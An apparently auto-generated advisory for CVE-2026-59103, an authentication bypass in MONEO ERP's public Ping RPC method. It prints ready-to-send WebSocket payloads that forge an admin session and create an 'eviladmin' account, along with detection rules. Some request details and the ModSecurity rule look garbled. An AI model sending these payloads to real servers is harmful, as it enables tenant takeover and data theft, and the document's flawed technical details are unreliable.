CVE-2026-59103 — CWE-288 · CWE-807
MONEO ERP exposes the Ping method of its _slave JSON-RPC service over WebSocket as @rpc.openpublic, so it can be called without a valid session. The method's only guard compares the calling application name with "_login", but that value is taken from the client-controlled params.appname field of the request. When the check passes, Ping stores an attacker-chosen session ID, user number and company in the server session store, and subsequent session validation accepts that session. An unauthenticated remote attacker can therefore create a valid session as any user, including administrators, in any company (tenant) hosted on the server and invoke authenticated RPC methods with that user's privileges, gaining read and write access to that company's data.
MONEO ERP exposes the Ping method of its _slave JSON-RPC service over WebSocket as @rpc.openpublic, so it can be called without a valid session. The method's only guard compares the calling application name with "_login", but that value is taken from the client-controlled params.appname field of the request. When the check passes, Ping stores an attacker-chosen session ID, user number and company in the server session store, and subsequent session validation accepts that session. An unauthenticated remote attacker can therefore create a valid session as any user, including administrators, in any company (tenant) hosted on the server and invoke authenticated RPC methods with that user's privileges, gaining read and write access to that company's data.
🎯 What is this vulnerability?
Vulnerability name: Unauthenticated session‑fixation / privilege‑escalation in MONEO ERP’s public JSON‑RPC “Ping” method
CVE‑ID: CVE‑2026‑59103
CVSS v3.1: 9.8 / 10 – Critical
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Technical flaw
MONEO ERP runs a _slave_ JSON‑RPC service that is reachable over WebSocket.
The service exposes a method called Ping (registered on the RPC namespace as @rpc.openpublic).
- Missing authentication – The method is deliberately advertised as “public”, therefore the RPC dispatcher does not require a valid session token before the method is invoked.
- Faulty authorization check – Inside
Pingthe only guard is:
if (params.appname !== "_login") {
return error("invalid app");
}params.appname is taken directly from the client‑supplied JSON‑RPC request. An attacker can therefore set appname to the literal string _login and bypass the check.
Ping executes code equivalent to:// pseudo‑code extracted from the vulnerable component
sessionStore[sessionId] = {
userId: params.userid, // attacker‑chosen
company: params.companyid, // attacker‑chosen
// … other fields (roles, permissions) are derived from the user record
};The attacker supplies sessionId, userid, and companyid in the request body. The server blindly writes these values into its in‑memory (or Redis) session store, creating a valid session object that will be accepted by every subsequent RPC call that performs the usual “session‑is‑valid?” check.
Result – An unauthenticated remote attacker can forge an authenticated session for any user (including administrators) in any* tenant (company) hosted on the ERP instance, and then invoke any RPC method that normally requires authentication (e.g., CreateInvoice, ExportData, DeleteCustomer).
CWE mapping
| CWE | Description | How it applies |
|---|---|---|
| CWE‑288 – Authentication Bypass by Parameter Manipulation | An attacker modifies a parameter that influences authentication logic, allowing bypass. | The appname parameter is client‑controlled and is used as the sole gatekeeper for the Ping method. |
| CWE‑807 – Reliance on Untrusted Inputs in a Security Decision | Security decisions are made based on data that can be supplied by an attacker. | The session‑creation routine trusts userid, companyid, and sessionId supplied by the attacker. |
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All network‑level details are based on the information in the CVE; where the exact URI or field names are not published, the examples are illustrative and should be adapted to the target’s actual endpoint.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify that the target runs MONEO ERP (e.g., by banner grabbing on HTTP Server: MONEO-ERP/… or by inspecting JavaScript files that reference rpc.openpublic). | nmap -sV -p 80,443 <IP>; curl -I https://<host>/ |
| 1.2 | Determine the JSON‑RPC WebSocket endpoint. In most deployments it is wss://<host>/rpc/ws (or ws://<host>/rpc). The endpoint can be discovered by inspecting the ERP’s web UI (look for new WebSocket("/rpc/ws")). | Browser dev tools → Network → WS frames |
| 1.3 | Verify that the Ping method is exposed without authentication. Send a minimal JSON‑RPC request over the socket and observe a successful response. | wscat -c wss://<host>/rpc/ws → {"jsonrpc":"2.0","method":"@rpc.openpublic","params":{"appname":"_login","userid":"0","companyid":"0","sessionid":"test"}} |
| 1.4 | Enumerate tenant IDs (optional). If the ERP exposes a public “listCompanies” RPC that does not require auth, use it to harvest valid companyid values. | Same WebSocket, method Company.List (if present) |
2. Exploitation
Note: The exact request format may differ (e.g.,idfield, nesting ofparams). The payload below follows the typical JSON‑RPC 2.0 structure.
2.1 Craft the malicious Ping request
{
"jsonrpc": "2.0",
"method": "@rpc.openpublic",
"params": {
"appname": "_login", // bypasses the internal check
"userid": "1", // target user ID (e.g., admin = 1)
"companyid": "42", // target tenant ID
"sessionid": "ATTACKER_FIX_12345"
},
"id": 1
}2.2 Send the request over WebSocket
# Using wscat (install via npm i -g wscat)
wscat -c "wss://erp.example.com/rpc/ws" <<'EOF'
{"jsonrpc":"2.0","method":"@rpc.openpublic","params":{"appname":"_login","userid":"1","companyid":"42","sessionid":"ATTACKER_FIX_12345"},"id":1}
EOFIf the server replies with a standard JSON‑RPC success object ("result": true), the forged session has been stored.
2.3 Use the forged session for authenticated RPC calls
Most RPC methods expect the session ID to be sent either:
Sec-WebSocket-Protocol: sessionid=ATTACKER_FIX_12345), or params.sessionid).Illustrative example – creating a new user in the compromised tenant:
{
"jsonrpc":"2.0",
"method":"User.Create",
"params":{
"sessionid":"ATTACKER_FIX_12345",
"username":"eviladmin",
"password":"P@ssw0rd!",
"role":"Administrator"
},
"id":2
}Send via the same WebSocket connection (or a new one that includes the session ID).
3. Post‑exploitation
| Goal | How it is achieved |
|---|---|
| Full data read | Call RPC methods such as Invoice.Search, Customer.GetAll, Document.Export using the forged session. The server returns full business data for the tenant. |
| Data manipulation / write | Invoke Invoice.Create, Customer.Update, Order.Delete, etc. The attacker can alter financial records, inject fraudulent invoices, or delete critical data. |
| Privilege escalation within the tenant | If the attacker initially forged a low‑privilege user, they can now call User.Promote or Role.Assign to become an administrator, because the session is already trusted. |
| Persistence | Store the forged sessionid in a malicious client script or a hidden service account; the session does not expire as long as the server’s session TTL is not reached (often several hours to days). |
| Lateral movement | With admin rights, the attacker can retrieve configuration files, API keys, or even execute OS commands if the ERP provides a “Shell.Execute” RPC (some ERP installations expose such utilities for internal automation). |
🌍 Real‑World Impact
| CIA Triad | CVSS‑derived impact | Practical consequences |
|---|---|---|
| Confidentiality (C:H) | *High* – attacker can read all business data (financial records, personal data, trade secrets) for any tenant. | GDPR / HIPAA violations, competitive intelligence theft, blackmail. |
| Integrity (I:H) | *High* – attacker can write/modify any data, create fraudulent invoices, alter inventory, change user roles. | Financial loss, regulatory fines, reputation damage, audit failures. |
| Availability (A:H) | *High* – attacker can delete critical records, truncate tables, or trigger mass‑export that exhausts resources. | Service outage, denial‑of‑service, loss of production capability. |
Because the vulnerability is network‑reachable, requires no prior authentication, and is exploitable with a single request, the risk is extremely high for any publicly exposed MONEO ERP instance (including SaaS‑style multi‑tenant deployments).
🛡️ Remediation & Mitigation
1. Vendor‑provided fix
| Action | Details |
|---|---|
| Upgrade | Apply the vendor’s security patch that removes the public exposure of Ping (or adds a proper server‑side authentication check). The patch version is not disclosed in the public CVE; administrators should consult the vendor’s security advisory (e.g., “MONEO ERP v5.4.2 → v5.4.3”). |
| Configuration change | If the patch cannot be applied immediately, disable the _slave_ JSON‑RPC service or at least the @rpc.openpublic namespace in the ERP configuration (rpc.public_methods = []). |
2. Immediate work‑arounds (no code change)
| Technique | Implementation example |
|---|---|
| Network segmentation | Block inbound traffic to the WebSocket port (default 443/8443) from the Internet; allow only trusted internal IP ranges. Example iptables rule: <br>iptables -A INPUT -p tcp --dport 443 -s ! 10.0.0.0/8 -j DROP |
| Web Application Firewall (ModSecurity) rule | Detect attempts to call @rpc.openpublic with appname="_login" and drop the request. <br>``SecRule REQUEST_HEADERS:Content-Type "application/json" "id:2026301,phase:2,log,deny,msg:'Block unauthenticated @rpc.openpublic',chain"`<br>`SecRule REQUEST_BODY "@contains \"@rpc.openpublic\"" "t:none,ctl:ruleEngine=Off" ``<br>`SecRule REQUEST_BODY "@rx \"\\\"appname\\\"\\s*:\\s*\\\"_login\\\"\"" "t:none,deny,msg:'Attempted session fixation via Ping'"` |
| Rate limiting | Limit the number of new WebSocket connections per source IP (e.g., 5 per minute) to make mass exploitation noisy. |
| Session hardening | Enforce server‑side generation of sessionId (ignore any client‑supplied value) and bind the session to the authenticated user ID retrieved from the database, not from the request. |
Disable the Ping method | In the ERP’s rpc.conf set method.Ping.enabled = false` (if the configuration permits). |
3. Detection – what to look for in logs
| Log source | Indicator of compromise (IoC) |
|---|---|
WebSocket handshake logs (e.g., Nginx access log with $request_uri = /rpc/ws) | GET /rpc/ws HTTP/1.1 followed by a short‑lived connection (< 1 s) that sends a JSON payload containing "method":"@rpc.openpublic" and "appname":"_login" |
Application RPC logs (MONEO ERP may write rpc.log) | INFO Session created – userid=1, companyid=42, sessionid=ATTACKER_FIX_12345 from an IP that has no prior authentication. |
| Audit trails | Sudden appearance of new admin users or privilege changes performed by a session ID that was never seen in a login event. |
| Database query logs (if enabled) | INSERT INTO sessions … userid=1, sessionid='ATTACKER_FIX_12345' without a preceding SELECT from the users table for a login. |
| IDS/IPS signatures | Alert on the pattern {"method":"@rpc.openpublic".*\"appname\":\"_login\"} in WebSocket traffic. |
Sample Nginx access log line (illustrative):
203.0.113.45 - - [27/Nov/2026:14:22:31 +0000] "GET /rpc/ws HTTP/1.1" 101 0 "-" "Mozilla/5.0" "-" "wss://erp.example.com/rpc/ws"Followed by a WebSocket payload captured by a reverse‑proxy that logs request bodies:
{"jsonrpc":"2.0","method":"@rpc.openpublic","params":{"appname":"_login","userid":"1","companyid":"42","sessionid":"ATTACKER_FIX_12345"},"id":1}Correlating these two entries indicates a likely exploitation attempt.
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 9.8 (Critical) | Exploits are trivial (single unauthenticated request) and give full control over tenant data. |
| Public disclosure date | 27 Nov 2026 – the vulnerability is already public; exploit code can be written in minutes. |
| CISA KEV | Not yet listed, but the high CVSS and ease of exploitation merit immediate attention. |
| Complexity | Low – no authentication, no user interaction, no prior knowledge of valid credentials. |
| Potential business impact | Data breach, financial fraud, regulatory penalties, loss of customer trust. |
Patch priority: Critical – Deploy the vendor’s fix or apply the mitigation steps within 24 hours for any externally reachable MONEO ERP instance. Internal‑only deployments may be patched within the next scheduled maintenance window, but should still be treated as high‑priority.
TL;DR
Ping RPC method can be called without a session. appname="_login" the attacker bypasses the only guard. userid, companyid and sessionid into the server’s session store, creating a valid authenticated session. @rpc.openpublic with appname="_login" from unauthenticated IPs. [🤖 CVE Professor AI Security Engine]